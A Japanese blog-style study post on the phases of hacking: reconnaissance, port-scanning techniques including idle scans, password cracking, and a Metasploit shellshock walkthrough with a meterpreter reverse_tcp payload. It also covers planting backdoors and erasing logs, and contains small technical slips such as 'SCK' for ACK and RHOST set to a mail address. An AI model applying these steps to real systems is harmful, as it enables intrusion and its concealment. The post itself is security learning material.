🐈

ハッキング学習〜本編〜

2023/07/09に公開

概論編の続きとなります。

事前準備

5つある攻撃フェーズの最初の2つ、偵察とスキャニングをまとめて事前準備と呼びます。
情報収集の手法には大きく2つあります。

受動的情報収集
ターゲットが提供している情報を収集します。私たちが普通に調べ物をする感じ。
多くの場合は合法です。

能動的情報収集
ターゲットに直接コマンドなどを打ち込んで、返ってきた情報を収集します。
状況によっては非合法な場合があります。

この2つの手法を駆使し、攻撃ターゲットの情報を収集していきます。

偵察(Reconnaissance)

主に受動的情報収集を使い、公開情報からターゲットのありとあらゆる情報を集めます。
どの情報が攻撃の役に立つのかはターゲットにより様々であるため一概には言えませんが
・ 有効なアカウント
・ ネットワーク情報(IPアドレスやネットワーク範囲)
このようなものを手に入れるのが目標です。

公開情報の収集

ターゲットが自分から公開している情報を(とりあえず使えるかどうかは置いておいて)集めます。
WebやSNSから電話番号や住所、ドメイン名などを特定します。Google検索には様々な機能があり、例えば*”@ikisugi.jp”というように検索窓に打ち込むと、ドメインから有効なメールアドレスを効率的に探すことができます。メールアドレスがわかったら、そこからSNSを検索してみたり、、、とありとあらゆる方法が考えられます。

ネットワーク情報の収集

ドメイン名がわかったら、そこからIPアドレスや使用しているネットワーク範囲、DNS情報、担当者情報などを集めます。
ドメイン名->ドメイン情報->IPアドレス->ネットワーク情報という流れで収集していくことができます。

ドメイン情報の収集
jpドメインのサイトの場合、ドメイン名が分かれば、JPRSのWhoisサイトで調べることが可能です。そのドメインを使用している組織の名前、通知メールアドレスなどがわかります。

IPアドレスの特定
nslookupコマンドを使い、nslookup ドメイン名とコマンドラインに打ち込むことでIPアドレスを調べることができます。

ネットワーク情報の収集
JPRSのWhois GateWayを使えば、IPアドレスからネットワーク情報を調べることができます。

スキャニング(Scanning)

ターゲットが稼働しているサーバーと開いているポートを探しだし、バナー情報を手に入れ、使われているOSやそのバージョンを特定します。データベースからターゲットサーバーの脆弱性情報を調べ、有効な攻撃方法をピックアップするのが目標です。

稼働サーバーの特定

pingコマンドを利用します。レスポンスが返ってきたら動いてるなぁと判断できます。
windows:ping ターゲットIP
Linux:ping -c 回数 ターゲットIP
nmapというツールを使えば、範囲に対してping(ping sweep)を行うことができます。(いちいち手動は現実的ではありません)

ネットワーク構成の特定

ターゲット内の各サーバまでの経由ルートを調べることで、ターゲットのネットワーク構成(ネットワークトポロジ[1])を推測します。
windows:tracert ターゲットIP
Linux:traceroute ターゲットIP
ターゲットの論理構成、場合によっては物理構成がわかります。
境界ルータやF/Wが分かれば迂回の方法が考察でき、物理構成が分かれば影響範囲を考察できます。

開いているポートの特定

TCP/IP[2]を利用する場合とUDP[3]を利用するやり方があります。

TCPスキャン

スリーハンドシェイクを活用し、開いているポートを特定します。

接続スキャン

指定したポートに次々と繋いでいくことによってオープンポートを確定します。信頼性は高いですが、怪しいログが残ってしまいます。

Synスキャン(ステルススキャン・ハーフポートスキャン)

Synフラグを接続先に送った時にSynフラグと共にACKフラグが返ってくることでポートが開いていることを確認します。(閉じている場合はRSTが返ってくる)。
通常、接続元がその後ACKフラグを送ることで接続が確立されるわけでありますが(この時にログに残る)、この時にRSTフラグを接続先に送ることにより強制切断を行うことができます。すると、ログに残すことなくポートが開いているのを確認することができるのです。

TCPクローズドオープンスキャン

接続開始の際にSynフラグ以外(RFC[4]の規格にはないフラグ)をつけて投げてみる手法。
ポートが開いている場合は何も返さず、閉じている場合はRSTフラグをつけて返すようにしているOSが多いことを利用します。これにより閉じているポートを特定できます。
ただ、レスポンスがない=オープンというわけではないため、全てのポートを調査する必要がある上に、OSによって実装が異なる点にも注意が必要です。

ACKスキャン

SCKフラグを立てたパケットを送信し、返答のRSTパケットを分析して判断する手法。
FireWallの有無を調べることができます。

Idleスキャン

フラグメント識別番号(IPID)[5]を利用して、身元を隠しながら行えるテクニック。
接続したことはある程度バレてしまうが、「身元がわからなければどうということはない」という発想から生まれました。
以下のような特徴を持ちます。
・IPIDはパケットを送るたびに増えるという特性を利用
・パケットを頻繁に送っているマシンはゾンビにできない
・ターゲットにログが残る可能性は低いが、もしも残ってもゾンビマシンのものとなる
以下のような手順で行います。

  1. ハッカーマシンからゾンビマシンにSYN/SCKを立てて通信を投げます。
  2. ゾンビマシンは「わけがわからないよ」とRSTを立てて返答します。
  3. ゾンビマシンからの返答パケットを分析して、現在のゾンビマシンのIPIDを特定します。(仮に1とします)
  4. ハッカーマシンからターゲットへ、Synフラグを立てた通信を投げます。この時、接続元IPアドレスをゾンビマシンのものとします。
  5. ポートが閉じている場合、ターゲットマシンはゾンビマシンにRSTを返し、そこで通信は終了します(IPID=1のまま)。開いている場合、ターゲットマシンはゾンビマシンにSyn/SCKを返します。するとゾンビは覚えがないので、RSTを返し、そこで通信は終了します(IPID=2となる)。
  6. ハッカーマシンからゾンビマシンにSyn/SCKを投げます。当然ゾンビマシンはRSTを返しますが、この時、ターゲットマシンのポートが開いていた場合、IPID=2+1となり、3となります(パケットを投げた回数が1回多くなる)。閉じていた場合はIPID=1+1となり、2となります。
UDPスキャン

接続先に接続要求を投げた時に、ポートが開いていれば何も返さないが、閉じている場合”ICMP Port Unreachable”を返すことを活用し、開いているポートを特定します。

OS・バージョンの特定

開いているポートを特定したら、次はサーバーのOSやバージョンを推測、特定していきます。
telnet IPアドレス ポート番号でアクセスし、バナーとして表示されるホストの情報を手がかりにします。
例えばWebサーバーが「IIS」ならば、OSはWindowsであると推測できます。

httpとsslは繋いだだけだとバナー情報が返ってこないので
http: 繋いだ後、HEAD / HTTP/1.0(改行キーを2回押す)
ssl: openssl s_client -host IPアドレス -port ポート番号
で繋いだ後に
HEAD / HTTP/1.0(改行キーを2回押す)
を行います。

脆弱性の特定

集まった情報から攻撃手法を探します。以下のサイトが役に立ちます。
CVE Common Vulnerabilities and Exposures
情報セキュリティにおける脆弱性やインシデントに固有の番号をつけて共有するしくみ。
つまり、ひとつの脆弱性にはひとつのCVEがついています。
NVD National Vulnerability Database
米国国立標準技術研究所(NIST)が管理している脆弱性データベース。CVSS(Common Vulnerability Scoring System)という危険度の採点があります。
JVN Japan Vulnerability Notes
日本の脆弱性データベース
JVN iPedia
日本の脆弱性データベース
SecurityFocus
脆弱性に対するExploit(攻撃方法)が公開されていたりします。CVEでの検索も可能。
Rapid7 Exploit Database
脆弱性に対するExploit(攻撃方法)が公開されていたりします。CVEでの検索も可能。

攻撃

5つある攻撃フェーズの最初の2つ、アクセス権の取得とアクセス権の維持をまとめて攻撃と呼びます。
攻撃方法はターゲットや目的、脆弱性などによって様々ですが、多くの場合、まずはアクセス権の取得を目指します。

アクセス権の取得(Gaining Access)

アクセス権を取得するとはつまり、認証システムを突破するということです。

認証の基礎知識

まずは認証の基礎知識をおさらい。認証には3つの要素があります。

知識要素(You know)
IDやパスワードなど、知識に基づくもの
持ち物要素(You have)
スマートフォンのワンタイム認証など(機器をもっていること)
生体要素(You are)
指紋認証や虹彩、声紋認証など

セキュリティ上はこれらの要素を2つ以上組み合わせるのが望ましいとされています。
よく使われるパスワード認証は「アカウント」と「パスワード」の2つが必要ですが、知識要素のみで構成されているため、実はあまりよくないのです。

パスワードクラック

有効なアカウントを事前準備で用意できている場合、あとはパスワードさえわかれば認証を突破できます。
パスワードクラックの手法は主に3通りあって、これらを組み合わせて行うことが多いです。

総当たり(ブルートフォース)
組み合わせられるワードをすべて組み合わせる手法
推測
パスワードとして使われていそうなワードを推測する手法
辞書
パスワードとして使われそうなワード(ターゲットの生年月日や好きなキャラクターなど)をまとめたものをあらかじめ用意しておいて、試す手法

以上の手法を用いてオンライン(認証画面にて直接)もしくはオフライン(パスワードファイルを取得)でパスワードクラックを仕掛けます。
パスワードファイルを用いたクラック方法の一つの例としてレインボーテーブル攻撃という方法があります。

レインボーテーブル攻撃

通常パスワードは暗号化(ハッシュ化)されて保存されており、ハッシュ化されたワードを元に戻すのは数学的に不可能と言われています。そこで、辞書の語句をシステムと同じ方式で暗号化して比較を行います。
同じ文字列を見つけられたら、元のワードがわかるというわけです。

ツールを使う

THC-Hydraという汎用パスワードクラッカーがあります。色んな使い方ができるようです。

なお、ftp[6]でのアカウントとパスワードを入手すればssh[7]にも同じアカウントとパスワードで入れる場合が多く、sshで認証を突破できれば直接コンソールを叩くことができて効果的です。
(直接認証突破時の失敗はログに残っているので注意が必要となります。)

脆弱性への攻撃

脆弱性が発見できたらその脆弱性を突く攻撃を行い、認証突破を試みます。攻撃方法は脆弱性によって様々です。一例として、"shellshock"[8]と呼ばれる脆弱性を突いてみます。(実際にやらないでください。私もやってないです。一応。)

  1. Rapid7 Exploit DatabaseでCVEを検索
  2. Kali Linuxからmsfconsoleを起動
  3. 使用するExploitモジュールを選択(ここでプロンプトがmsf exploit(XXX)のように変わる)
    msf > use Exploitモジュール名
  4. ターゲット等を設定する
    > set LHOST 攻撃PCのIPアドレス
    > set RHOST ターゲットPCのメールアドレス
    > set TARGETURI shellshock脆弱性があるURI
    > set payload linux/x86/meterpreter/reverse_tcp
  5. 攻撃実行
    > exploit

これにより、ペイロードとして送ったmeterpriterのセッションが確立し、コマンドの入力が可能になります。

その他様々な攻撃

こちらの記事をどうぞ。

権限昇格(Privilege elevation)

アクセス権取得のフェーズにおいてユーザー権限までしか取得できなかった場合、バックドアの作成や隠蔽、痕跡の消去などを行うために管理者権限の取得を狙います。
ただ、Dos攻撃などの投げっぱなしの攻撃を行う場合は権限昇格は不要となります。
また、権限昇格できない場合は別の手段を考えましょう。

アクセスの維持と事後処理

アクセスの維持(Maintaining Access)

アクセス権を取得したら、次はアクセス権の維持を目指します。
また同じ方法で突破できるのならばよいのですが、パスワードを変更されたり、突破に使用した脆弱性が修正されたりした場合が厄介です。再攻撃のために、バックドアを仕込みましょう。

バックドア

バックドアとは正規の手続きを踏まずに内部に入ることが可能な侵入口のことで、いくつかに区分することができます。

設計開発段階で組み込まれるバックドア
開発時にデバッグ用途で組み込まれ、リリース時に消し忘れたもの。割とあるらしい。

開発者が勝手に作ったバックドア
開発者が開発効率を高めるために作り外し忘れるパターンと、悪意を持って仕込むパターンがあります。

政府の諜報活動によるバックドア
アメリカでは、CALEAという法律の元、国内で使用されているほとんどの通信機器にあらかじめ政府機関からのアクセスを許容するバックドアが設けられています。

攻撃者によって仕込まれたバックドア
アクセス権を取得し、コンソール上から仕込むか、マルウェアを使用することが多いようです。
新しいユーザーを追加し、そのユーザーに管理者権限を与えたり、NetcatやXinetdなどのサービスを利用する手法など様々あります。

痕跡の消去(Clearing Tracks)

侵入できたとしても、バレて捕まってしまったら元も子もないです。
そこで、隠蔽工作を行います。漏れがないようにしっかり行います。外部ログサーバーが存在している可能性も忘れずに。

後処理作業としてよくあるもの
・アクセスしたログの消去
・作成したツール類や一時ファイルの消去
・履歴やCookieといった痕跡の消去
・一時的に変更した設定の復元

終わりに

ハッキングの手法を学ぶことで、セキュリティに対する知識だけでなく、普段なかなか手が出せないネットワークや通信のしくみの知識も得ることができました。
まだまだ序の口ですが、今後CEHの取得も視野に入れて頑張っていこうと思います。
まずは自分の会社のフロントを見直すところからですね。


脚注
  1. ネットワーク上に端末がどのような形態で接続されるかを表す用語。インターネットというのはスター型とリニアバスの複合となっていることが多い。 ↩︎

  2. 通信プロトコルの一つ。信頼性が高いが即時性や高速性が今ひとつという性質を持つ。接続相手との通信の開始時にスリーハンドシェイクと呼ばれる3段階からなる制御情報のやりとり(仮想的な伝送路の確立)を行う。また、送信したデータがちゃんと届いたかどうか確かめる「確認応答」、データの欠落や破損を検知して再送を要求する「再送制御」、到着順が入れ替わっても本来の順番に戻す「順序制御」などの機能が利用できる。 ↩︎

  3. 通信プロトコルの一つ。ハンドシェイク(仮想的な伝送路の確立)を行わず、確認応答や再送制御なども行わない(送りっぱなしにする)ため、信頼性は欠けるが、高速で即時性が高いという性質を持つ。通話や動画のストリーミング配信などに使われている。 ↩︎

  4. インターネット技術の標準化などを行うIETF(Internet Engineering Task Force)が発行している、技術仕様などについての文書群 ↩︎

  5. IP(Version 4)ヘッダーに含まれる識別子(ID)。各パケットを識別するためにパケットの送信元が割り当てる値。多くのネットワーク・ドライバは、パケットが作成された順番に、このIDの値を規則的に増やすように実装されている。 ↩︎

  6. File Transfer Protocolの略。サーバーとクライアントの間でファイル転送を行う際に必要となる通信プロトコル。通常20番と21番のポートを使用する。通信は暗号化されていないため、割と危険。最近はSSHを使っている「SFTP」を採用しているサーバーが多い。 ↩︎

  7. Secure Shellの略。リモートコンピュータと通信するためのプロトコル。だいたい22番ポート。ネットワーク上の通信が全て暗号化される。Telnetの進化系。 ↩︎

  8. GNU bashにおける任意のコマンドを実行される脆弱性。CVE-2014-6271,CVE-2014-6277,CVE-2014-7169など。CVSSは10.0とかなりやばめ。ネットワークから攻撃でき、攻撃条件もシンプル。攻撃前の認証も必要なし。 ↩︎

Discussion